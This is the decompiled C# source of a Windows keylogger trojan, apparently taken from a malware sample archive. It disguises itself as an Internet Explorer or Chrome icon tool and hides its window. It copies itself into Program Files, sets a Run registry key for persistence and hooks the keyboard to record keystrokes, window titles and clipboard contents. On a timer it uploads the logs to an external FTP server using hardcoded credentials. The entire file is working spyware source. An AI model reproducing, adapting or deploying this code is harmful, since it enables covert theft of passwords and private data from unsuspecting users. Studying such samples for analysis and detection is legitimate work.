Files
2022-08-18 06:28:56 -05:00

911 lines
30 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.Form1
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using İnternet_Explororer_İncons.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace İnternet_Explororer_İncons
{
[DesignerGenerated]
public class Form1 : Form
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private IContainer components;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("GroupBox1")]
private GroupBox _GroupBox1;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("GroupBox2")]
private GroupBox _GroupBox2;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("GroupBox3")]
private GroupBox _GroupBox3;
[AccessedThroughProperty("Timer1")]
private Timer _Timer1;
[AccessedThroughProperty("Timer2")]
private Timer _Timer2;
[AccessedThroughProperty("GroupBox4")]
private GroupBox _GroupBox4;
[AccessedThroughProperty("TextBox2")]
private TextBox _TextBox2;
[AccessedThroughProperty("GroupBox5")]
private GroupBox _GroupBox5;
[AccessedThroughProperty("Label6")]
private Label _Label6;
[AccessedThroughProperty("Label5")]
private Label _Label5;
[AccessedThroughProperty("Label7")]
private Label _Label7;
[AccessedThroughProperty("Label8")]
private Label _Label8;
[AccessedThroughProperty("GroupBox6")]
private GroupBox _GroupBox6;
[AccessedThroughProperty("K")]
private Keyboard _K;
private string strin;
private const short VK_SNAPSHOT = 44;
[DebuggerNonUserCode]
static Form1()
{
}
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
Form1.__ENCAddToList((object) this);
this.K = new Keyboard();
this.strin = (string) null;
this.InitializeComponent();
}
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (Form1.__ENCList)
{
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (Form1.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (Form1.__ENCList[index2].IsAlive)
{
if (index2 != index1)
Form1.__ENCList[index1] = Form1.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
}
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[STAThread]
public static void Main() => Application.Run((Form) MyProject.Forms.Form1);
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
this.TextBox1 = new TextBox();
this.Label1 = new Label();
this.Label2 = new Label();
this.GroupBox1 = new GroupBox();
this.Label3 = new Label();
this.GroupBox2 = new GroupBox();
this.Label4 = new Label();
this.GroupBox3 = new GroupBox();
this.Timer1 = new Timer(this.components);
this.Timer2 = new Timer(this.components);
this.GroupBox4 = new GroupBox();
this.TextBox2 = new TextBox();
this.GroupBox5 = new GroupBox();
this.Label6 = new Label();
this.Label5 = new Label();
this.Label7 = new Label();
this.Label8 = new Label();
this.GroupBox6 = new GroupBox();
this.GroupBox1.SuspendLayout();
this.GroupBox2.SuspendLayout();
this.GroupBox3.SuspendLayout();
this.GroupBox4.SuspendLayout();
this.GroupBox5.SuspendLayout();
this.GroupBox6.SuspendLayout();
this.SuspendLayout();
this.TextBox1.Enabled = false;
TextBox textBox1_1 = this.TextBox1;
Point point1 = new Point(3, 11);
Point point2 = point1;
textBox1_1.Location = point2;
TextBox textBox1_2 = this.TextBox1;
Padding padding1 = new Padding(4);
Padding padding2 = padding1;
textBox1_2.Margin = padding2;
this.TextBox1.Multiline = true;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_3 = this.TextBox1;
Size size1 = new Size(12, 11);
Size size2 = size1;
textBox1_3.Size = size2;
this.TextBox1.TabIndex = 0;
this.Label1.AutoSize = true;
this.Label1.ForeColor = Color.Maroon;
Label label1_1 = this.Label1;
point1 = new Point(579, 25);
Point point3 = point1;
label1_1.Location = point3;
Label label1_2 = this.Label1;
padding1 = new Padding(4, 0, 4, 0);
Padding padding3 = padding1;
label1_2.Margin = padding3;
this.Label1.Name = "Label1";
Label label1_3 = this.Label1;
size1 = new Size(63, 68);
Size size3 = size1;
label1_3.Size = size3;
this.Label1.TabIndex = 1;
this.Label1.Text = "</td>\r\n</tr>\r\n</tbody>\r\n</table>";
this.Label2.AutoSize = true;
this.Label2.ForeColor = Color.Maroon;
Label label2_1 = this.Label2;
point1 = new Point(15, 25);
Point point4 = point1;
label2_1.Location = point4;
Label label2_2 = this.Label2;
padding1 = new Padding(4, 0, 4, 0);
Padding padding4 = padding1;
label2_2.Margin = padding4;
this.Label2.Name = "Label2";
Label label2_3 = this.Label2;
size1 = new Size(522, 68);
Size size4 = size1;
label2_3.Size = size4;
this.Label2.TabIndex = 2;
this.Label2.Text = "<table width=\"900\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"bgcolor=#0B79AD>\r\n<tbody>\r\n<tr>\r\n<td>";
this.GroupBox1.Controls.Add((Control) this.Label2);
this.GroupBox1.Controls.Add((Control) this.Label1);
GroupBox groupBox1_1 = this.GroupBox1;
point1 = new Point(273, 34);
Point point5 = point1;
groupBox1_1.Location = point5;
GroupBox groupBox1_2 = this.GroupBox1;
padding1 = new Padding(4);
Padding padding5 = padding1;
groupBox1_2.Margin = padding5;
this.GroupBox1.Name = "GroupBox1";
GroupBox groupBox1_3 = this.GroupBox1;
padding1 = new Padding(4);
Padding padding6 = padding1;
groupBox1_3.Padding = padding6;
GroupBox groupBox1_4 = this.GroupBox1;
size1 = new Size(161, 16);
Size size5 = size1;
groupBox1_4.Size = size5;
this.GroupBox1.TabIndex = 3;
this.GroupBox1.TabStop = false;
this.GroupBox1.Text = "Tablo HTML Kodu:";
this.Label3.AutoSize = true;
this.Label3.BackColor = Color.Transparent;
this.Label3.ForeColor = Color.Maroon;
Label label3_1 = this.Label3;
point1 = new Point(5, 27);
Point point6 = point1;
label3_1.Location = point6;
Label label3_2 = this.Label3;
padding1 = new Padding(4, 0, 4, 0);
Padding padding7 = padding1;
label3_2.Margin = padding7;
this.Label3.Name = "Label3";
Label label3_3 = this.Label3;
size1 = new Size(475, 119);
Size size6 = size1;
label3_3.Size = size6;
this.Label3.TabIndex = 4;
this.Label3.Text = componentResourceManager.GetString("Label3.Text");
this.GroupBox2.Controls.Add((Control) this.Label3);
GroupBox groupBox2_1 = this.GroupBox2;
point1 = new Point(273, 11);
Point point7 = point1;
groupBox2_1.Location = point7;
GroupBox groupBox2_2 = this.GroupBox2;
padding1 = new Padding(4);
Padding padding8 = padding1;
groupBox2_2.Margin = padding8;
this.GroupBox2.Name = "GroupBox2";
GroupBox groupBox2_3 = this.GroupBox2;
padding1 = new Padding(4);
Padding padding9 = padding1;
groupBox2_3.Padding = padding9;
GroupBox groupBox2_4 = this.GroupBox2;
size1 = new Size(137, 18);
Size size7 = size1;
groupBox2_4.Size = size7;
this.GroupBox2.TabIndex = 5;
this.GroupBox2.TabStop = false;
this.GroupBox2.Text = "HTML Başlangıç Kodu";
this.Label4.AutoSize = true;
Label label4_1 = this.Label4;
point1 = new Point(75, 32);
Point point8 = point1;
label4_1.Location = point8;
Label label4_2 = this.Label4;
padding1 = new Padding(4, 0, 4, 0);
Padding padding10 = padding1;
label4_2.Margin = padding10;
this.Label4.Name = "Label4";
Label label4_3 = this.Label4;
size1 = new Size(51, 17);
Size size8 = size1;
label4_3.Size = size8;
this.Label4.TabIndex = 6;
this.Label4.Text = "Label4";
this.GroupBox3.Controls.Add((Control) this.Label4);
GroupBox groupBox3_1 = this.GroupBox3;
point1 = new Point(273, 59);
Point point9 = point1;
groupBox3_1.Location = point9;
GroupBox groupBox3_2 = this.GroupBox3;
padding1 = new Padding(4);
Padding padding11 = padding1;
groupBox3_2.Margin = padding11;
this.GroupBox3.Name = "GroupBox3";
GroupBox groupBox3_3 = this.GroupBox3;
padding1 = new Padding(4);
Padding padding12 = padding1;
groupBox3_3.Padding = padding12;
GroupBox groupBox3_4 = this.GroupBox3;
size1 = new Size(116, 21);
Size size9 = size1;
groupBox3_4.Size = size9;
this.GroupBox3.TabIndex = 7;
this.GroupBox3.TabStop = false;
this.GroupBox3.Text = "Bilgisayar Adı";
this.Timer1.Enabled = true;
this.Timer1.Interval = 900000;
this.Timer2.Enabled = true;
this.GroupBox4.Controls.Add((Control) this.TextBox2);
GroupBox groupBox4_1 = this.GroupBox4;
point1 = new Point(273, 87);
Point point10 = point1;
groupBox4_1.Location = point10;
GroupBox groupBox4_2 = this.GroupBox4;
padding1 = new Padding(4);
Padding padding13 = padding1;
groupBox4_2.Margin = padding13;
this.GroupBox4.Name = "GroupBox4";
GroupBox groupBox4_3 = this.GroupBox4;
padding1 = new Padding(4);
Padding padding14 = padding1;
groupBox4_3.Padding = padding14;
GroupBox groupBox4_4 = this.GroupBox4;
size1 = new Size(137, 20);
Size size10 = size1;
groupBox4_4.Size = size10;
this.GroupBox4.TabIndex = 9;
this.GroupBox4.TabStop = false;
this.GroupBox4.Text = "Kopyala Yapıştır";
this.TextBox2.Enabled = false;
TextBox textBox2_1 = this.TextBox2;
point1 = new Point(31, 26);
Point point11 = point1;
textBox2_1.Location = point11;
TextBox textBox2_2 = this.TextBox2;
padding1 = new Padding(4);
Padding padding15 = padding1;
textBox2_2.Margin = padding15;
this.TextBox2.Name = "TextBox2";
TextBox textBox2_3 = this.TextBox2;
size1 = new Size(284, 22);
Size size11 = size1;
textBox2_3.Size = size11;
this.TextBox2.TabIndex = 0;
this.GroupBox5.Controls.Add((Control) this.Label6);
this.GroupBox5.Controls.Add((Control) this.Label5);
GroupBox groupBox5_1 = this.GroupBox5;
point1 = new Point(273, 114);
Point point12 = point1;
groupBox5_1.Location = point12;
GroupBox groupBox5_2 = this.GroupBox5;
padding1 = new Padding(4);
Padding padding16 = padding1;
groupBox5_2.Margin = padding16;
this.GroupBox5.Name = "GroupBox5";
GroupBox groupBox5_3 = this.GroupBox5;
padding1 = new Padding(4);
Padding padding17 = padding1;
groupBox5_3.Padding = padding17;
GroupBox groupBox5_4 = this.GroupBox5;
size1 = new Size(151, 16);
Size size12 = size1;
groupBox5_4.Size = size12;
this.GroupBox5.TabIndex = 1;
this.GroupBox5.TabStop = false;
this.GroupBox5.Text = "Kopyala Yapıştır Renk";
this.Label6.AutoSize = true;
this.Label6.ForeColor = Color.Maroon;
Label label6_1 = this.Label6;
point1 = new Point(239, 48);
Point point13 = point1;
label6_1.Location = point13;
Label label6_2 = this.Label6;
padding1 = new Padding(4, 0, 4, 0);
Padding padding18 = padding1;
label6_2.Margin = padding18;
this.Label6.Name = "Label6";
Label label6_3 = this.Label6;
size1 = new Size(52, 17);
Size size13 = size1;
label6_3.Size = size13;
this.Label6.TabIndex = 1;
this.Label6.Text = "</font>";
this.Label5.AutoSize = true;
this.Label5.ForeColor = Color.Maroon;
Label label5_1 = this.Label5;
point1 = new Point(31, 48);
Point point14 = point1;
label5_1.Location = point14;
Label label5_2 = this.Label5;
padding1 = new Padding(4, 0, 4, 0);
Padding padding19 = padding1;
label5_2.Margin = padding19;
this.Label5.Name = "Label5";
Label label5_3 = this.Label5;
size1 = new Size(155, 17);
Size size14 = size1;
label5_3.Size = size14;
this.Label5.TabIndex = 0;
this.Label5.Text = "<font color=\"#cc3333\">";
this.Label7.AutoSize = true;
Label label7_1 = this.Label7;
point1 = new Point(12, 23);
Point point15 = point1;
label7_1.Location = point15;
Label label7_2 = this.Label7;
padding1 = new Padding(4, 0, 4, 0);
Padding padding20 = padding1;
label7_2.Margin = padding20;
this.Label7.Name = "Label7";
Label label7_3 = this.Label7;
size1 = new Size(64, 17);
Size size15 = size1;
label7_3.Size = size15;
this.Label7.TabIndex = 10;
this.Label7.Text = "<strong>";
this.Label8.AutoSize = true;
Label label8_1 = this.Label8;
point1 = new Point(72, 23);
Point point16 = point1;
label8_1.Location = point16;
Label label8_2 = this.Label8;
padding1 = new Padding(4, 0, 4, 0);
Padding padding21 = padding1;
label8_2.Margin = padding21;
this.Label8.Name = "Label8";
Label label8_3 = this.Label8;
size1 = new Size(68, 17);
Size size16 = size1;
label8_3.Size = size16;
this.Label8.TabIndex = 11;
this.Label8.Text = "</strong>";
this.GroupBox6.Controls.Add((Control) this.Label8);
this.GroupBox6.Controls.Add((Control) this.Label7);
GroupBox groupBox6_1 = this.GroupBox6;
point1 = new Point(283, 145);
Point point17 = point1;
groupBox6_1.Location = point17;
GroupBox groupBox6_2 = this.GroupBox6;
padding1 = new Padding(4);
Padding padding22 = padding1;
groupBox6_2.Margin = padding22;
this.GroupBox6.Name = "GroupBox6";
GroupBox groupBox6_3 = this.GroupBox6;
padding1 = new Padding(4);
Padding padding23 = padding1;
groupBox6_3.Padding = padding23;
GroupBox groupBox6_4 = this.GroupBox6;
size1 = new Size(141, 18);
Size size17 = size1;
groupBox6_4.Size = size17;
this.GroupBox6.TabIndex = 12;
this.GroupBox6.TabStop = false;
this.GroupBox6.Text = "Kalın Yaız";
this.AutoScaleDimensions = new SizeF(8f, 16f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(1, 1);
this.ClientSize = size1;
this.Controls.Add((Control) this.GroupBox6);
this.Controls.Add((Control) this.GroupBox5);
this.Controls.Add((Control) this.GroupBox1);
this.Controls.Add((Control) this.GroupBox2);
this.Controls.Add((Control) this.GroupBox4);
this.Controls.Add((Control) this.GroupBox3);
this.Controls.Add((Control) this.TextBox1);
this.FormBorderStyle = FormBorderStyle.None;
padding1 = new Padding(4);
this.Margin = padding1;
size1 = new Size(1, 1);
this.MaximumSize = size1;
size1 = new Size(1, 1);
this.MinimumSize = size1;
this.Name = nameof (Form1);
this.Text = "İnternet Explorer İcons Change";
this.GroupBox1.ResumeLayout(false);
this.GroupBox1.PerformLayout();
this.GroupBox2.ResumeLayout(false);
this.GroupBox2.PerformLayout();
this.GroupBox3.ResumeLayout(false);
this.GroupBox3.PerformLayout();
this.GroupBox4.ResumeLayout(false);
this.GroupBox4.PerformLayout();
this.GroupBox5.ResumeLayout(false);
this.GroupBox5.PerformLayout();
this.GroupBox6.ResumeLayout(false);
this.GroupBox6.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual Label Label1
{
[DebuggerNonUserCode] get => this._Label1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
}
internal virtual Label Label2
{
[DebuggerNonUserCode] get => this._Label2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
}
internal virtual GroupBox GroupBox1
{
[DebuggerNonUserCode] get => this._GroupBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value;
}
internal virtual Label Label3
{
[DebuggerNonUserCode] get => this._Label3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
}
internal virtual GroupBox GroupBox2
{
[DebuggerNonUserCode] get => this._GroupBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value;
}
internal virtual Label Label4
{
[DebuggerNonUserCode] get => this._Label4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
}
internal virtual GroupBox GroupBox3
{
[DebuggerNonUserCode] get => this._GroupBox3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value;
}
internal virtual Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual Timer Timer2
{
[DebuggerNonUserCode] get => this._Timer2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
if (this._Timer2 != null)
this._Timer2.Tick -= eventHandler;
this._Timer2 = value;
if (this._Timer2 == null)
return;
this._Timer2.Tick += eventHandler;
}
}
internal virtual GroupBox GroupBox4
{
[DebuggerNonUserCode] get => this._GroupBox4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox4 = value;
}
internal virtual TextBox TextBox2
{
[DebuggerNonUserCode] get => this._TextBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.TextBox2_TextChanged);
if (this._TextBox2 != null)
this._TextBox2.TextChanged -= eventHandler;
this._TextBox2 = value;
if (this._TextBox2 == null)
return;
this._TextBox2.TextChanged += eventHandler;
}
}
internal virtual GroupBox GroupBox5
{
[DebuggerNonUserCode] get => this._GroupBox5;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox5 = value;
}
internal virtual Label Label6
{
[DebuggerNonUserCode] get => this._Label6;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value;
}
internal virtual Label Label5
{
[DebuggerNonUserCode] get => this._Label5;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value;
}
internal virtual Label Label7
{
[DebuggerNonUserCode] get => this._Label7;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value;
}
internal virtual Label Label8
{
[DebuggerNonUserCode] get => this._Label8;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value;
}
internal virtual GroupBox GroupBox6
{
[DebuggerNonUserCode] get => this._GroupBox6;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox6 = value;
}
private virtual Keyboard K
{
[DebuggerNonUserCode] get => this._K;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
Keyboard.DownEventHandler downEventHandler = new Keyboard.DownEventHandler(this.K_Down);
if (this._K != null)
Keyboard.Down -= downEventHandler;
this._K = value;
if (this._K == null)
return;
Keyboard.Down += downEventHandler;
}
}
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetForegroundWindow();
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch);
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int GetKeyState(long keys);
private void Form1_Load(object sender, EventArgs e)
{
this.ProgramKontrol();
this.BilgisayarismiHTML();
this.Gizle();
this.Baslangıcaekle();
this.K.CreateHook();
}
private string GetActiveWindowTitle()
{
string lpString = new string(char.MinValue, 100);
Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100);
return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1));
}
private void K_Down(string key)
{
if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) != 0)
{
this.TextBox1.Text = this.TextBox1.Text + "\r\n" + this.Label2.Text + "<h4>" + this.GetActiveWindowTitle() + "</h4>" + this.Label1.Text + "\r\n";
this.strin = this.GetActiveWindowTitle();
}
this.TextBox1.Text += key;
}
public void BilgisayarismiHTML()
{
this.TextBox1.Text = this.Label3.Text;
this.Label4.Text = MyProject.Computer.Name + Conversions.ToString(DateAndTime.TimeOfDay.Second) + Conversions.ToString(DateAndTime.TimeOfDay.Minute);
}
public void Gizle()
{
this.Hide();
this.ShowInTaskbar = false;
this.Opacity = 0.0;
}
public void Baslangıcaekle()
{
string destinationFileName = "C:\\Program Files\\ChromeToolbarsicn.exe";
if (!File.Exists("C:\\Program Files\\ChromeToolbarsicn.exe"))
Microsoft.VisualBasic.FileIO.FileSystem.CopyFile(Application.ExecutablePath, destinationFileName, true);
MyProject.Computer.Registry.SetValue("HKEY_lOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "GoogleChromeİcon", (object) destinationFileName);
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public void ProgramKontrol()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
label_3:
num3 = 3;
string withoutExtension = Path.GetFileNameWithoutExtension(moduleName);
label_4:
num3 = 4;
Process[] processesByName = Process.GetProcessesByName(withoutExtension);
label_5:
num3 = 5;
if (processesByName.Length > 1)
ProjectData.EndApp();
label_7:
goto label_14;
label_9:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
case 7:
goto label_7;
case 8:
goto label_14;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_9;
}
throw ProjectData.CreateProjectError(-2146828237);
label_14:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void Upload()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 2;
label_2:
int num3 = 2;
MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1");
label_3:
label_4:
ProjectData.ClearProjectError();
num1 = -2;
label_5:
num3 = 4;
MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1");
goto label_12;
label_7:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_4;
case 4:
goto label_5;
case 5:
goto label_12;
}
break;
case 2:
goto label_3;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_7;
}
throw ProjectData.CreateProjectError(-2146828237);
label_12:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void yazdırdosya()
{
StreamWriter streamWriter = MyProject.Computer.FileSystem.OpenTextFileWriter("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", true);
streamWriter.WriteLine(this.TextBox1.Text);
streamWriter.Close();
streamWriter.Dispose();
}
private void Timer2_Tick(object sender, EventArgs e) => this.TextBox2.Text = Clipboard.GetText();
private void TextBox2_TextChanged(object sender, EventArgs e) => this.TextBox1.Text = this.TextBox1.Text + this.Label5.Text + this.TextBox2.Text + this.Label6.Text;
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private void Timer1_Tick(object sender, EventArgs e)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.TextBox1.Text += "</html>";
label_3:
num3 = 3;
this.K.DiposeHook();
label_4:
num3 = 4;
this.yazdırdosya();
label_5:
num3 = 5;
this.Upload();
label_6:
num3 = 6;
Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html");
label_7:
num3 = 7;
this.Label4.Text += "1";
label_8:
num3 = 8;
this.TextBox1.Text = this.Label3.Text;
label_9:
num3 = 9;
this.K.CreateHook();
goto label_16;
label_11:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_9;
case 10:
goto label_16;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_11;
}
throw ProjectData.CreateProjectError(-2146828237);
label_16:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
}
}